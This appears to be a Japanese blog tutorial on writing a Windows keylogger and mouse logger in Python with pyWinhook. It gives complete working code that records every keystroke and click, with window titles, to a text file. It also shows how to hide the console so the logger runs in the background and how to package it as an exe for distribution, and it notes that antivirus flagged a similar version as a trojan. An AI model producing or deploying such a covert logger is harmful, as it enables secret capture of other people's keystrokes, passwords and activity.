Pythonでキーロガーを作る(Windows風味)

2021/05/27

開発試行

Pythonでキーロガー、マウスロガーを作成しました。業務で使う場合は全員がPythonをインストールしているとは限らないので、exe形式に変換する必要がありますので、その変換も試してみました。 その手順をまとめたものになります。


キーロガーを作成

インストール

pyWinhook 1.6.2をpipコマンドにてインストールします。


pip install pywinhook
Requirement already satisfied: pywinhook in c:\python38\lib\site-packages (1.6.2)
Requirement already satisfied: pywin32 in c:\python38\lib\site-packages (from pywinhook) (300)

ソース作成

以下の通り、ソースを作成します。今回はSampleソースをそのまま利用しました。ログはマウスクリックをするたびに、テキストファイルに出力するように変更しました。

Sampleソースのままだと、アプリケーションが終了しないため、Ctypes Moduleをimportし、[ctypes.windll.user32.PostQuitMessage(0)]コマンドにて対応しました。



import pyWinhook as pyHook
import ctypes
import pythoncom
post_message = ""
prev_key = ""

def OnMouseEvent(event):
  global post_message    
  print('MessageName: %s' % event.MessageName)
  print('Message: %s' % event.Message)
  print('Time: %s' % event.Time)
  print('Window: %s' % event.Window)
  print('WindowName: %s' % event.WindowName)
  print('Position: (%d, %d)' % event.Position)
  print('Wheel: %s' % event.Wheel)
  print('Injected: %s' % event.Injected)
  print('---')

  # return True to pass the event to other handlers
  # return False to stop the event from propagating
  post_message = post_message + "\r\nMou:[{0}:{1}]".format(event.Position,event.WindowName)
  with open("test.txt", 'a',encoding='utf-8', newline='\n') as file_object:
    file_object.write(post_message) 
  post_message = ""  
  return True

def OnKeyboardEvent(event):
  global post_message
  global prev_key  
  print('MessageName: %s' % event.MessageName)
  print('Message: %s' % event.Message)
  print('Time: %s' % event.Time)
  print('Window: %s' % event.Window)
  print('WindowName: %s' % event.WindowName)
  print('Ascii: %s' %  event.Ascii, chr(event.Ascii))
  print('Key: %s' %  event.Key)
  print('KeyID: %s' %  event.KeyID)
  print('ScanCode: %s' %  event.ScanCode)
  print('Extended: %s' %  event.Extended)
  print('Injected: %s' %  event.Injected)
  print('Alt %s' %  event.Alt)
  print('Transition %s' %  event.Transition)
  print('---')

  if prev_key == 'Lcontrol' and event.Key == 'C':
    #pythoncom.EnableQuitMessage()
    ctypes.windll.user32.PostQuitMessage(0)
    pass
  # return True to pass the event to other handwdlers
  # return False to stop the event from propagating
  post_message = post_message + "\r\nKey:[{0}:{1}]".format(event.Key,event.WindowName)
  return True

# create the hook mananger
hm = pyHook.HookManager()
# register two callbacks
hm.MouseAllButtonsDown = OnMouseEvent
hm.KeyDown = OnKeyboardEvent

# hook into the mouse and keyboard events
hm.HookMouse()
hm.HookKeyboard()

if __name__ == '__main__':
  pythoncom.PumpMessages()

GUI表示におけるコンソール画面を非表示にする

今回はバックグラウンドで稼働させたいので、コマンドプ画面を非表示にします。

拡張子を[.py]から[.pyw]に変更するだけです。


Windows用のexeファイル(実行ファイル)に変換

インストール

pyinstallerをpipコマンドにてインストールします。


pip install pyinstaller
Requirement already satisfied: pyinstaller in c:\python38\lib\site-packages (4.3)
Requirement already satisfied: altgraph in c:\python38\lib\site-packages (from pyinstaller) (0.17)
Requirement already satisfied: pefile>=2017.8.1 in c:\python38\lib\site-packages (from pyinstaller) (2021.5.13)
Requirement already satisfied: pywin32-ctypes>=0.2.0 in c:\python38\lib\site-packages (from pyinstaller) (0.2.0)
Requirement already satisfied: pyinstaller-hooks-contrib>=2020.6 in c:\python38\lib\site-packages (from pyinstaller) (2021.1) 
Requirement already satisfied: setuptools in c:\python38\lib\site-packages (from pyinstaller) (41.2.0)
Requirement already satisfied: future in c:\python38\lib\site-packages (from pefile>=2017.8.1->pyinstaller) (0.18.2)

exeファイルへの変換

[.pyw]ファイルがあるフォルダに移動して、以下のコマンドを実行します。


pyinstaller key_logger.pyw
...
33100 INFO: Building COLLECT COLLECT-00.toc completed successfully

distributionの確認

配布用ファイルが作成されていることを確認します。

実行後、completed successfullyと表示されたらexeファイル化完了です。exeファイル化に成功すると、作業フォルダ内に下記のフォルダとexeファイルが生成されます。配布するときはdistフォルダを配布します。


key_logger.pyw
dist/key_logger.exe

実行結果の確認

実行結果

以下のように出力されます。


Mou:[(916, 353):Chrome Legacy Window]
Key:[Lcontrol:● key_logger.pyw - Python - Visual Studio Code]
Key:[S:● key_logger.pyw - Python - Visual Studio Code]
Mou:[(1755, 324):None]
Mou:[(1768, 185):__init__.py - メモ帳]

まとめ

今回はWindows上で稼働するキーロガーの作成方法を紹介しました。他にもpynputやpyhookなどでキーロガーが作成できますが結果がいまいちになるようです。私の場合だと、pynputは、[Windows Defender]に、トロイの木馬扱いをされたので、取り扱いに注意しましょう!

QooQ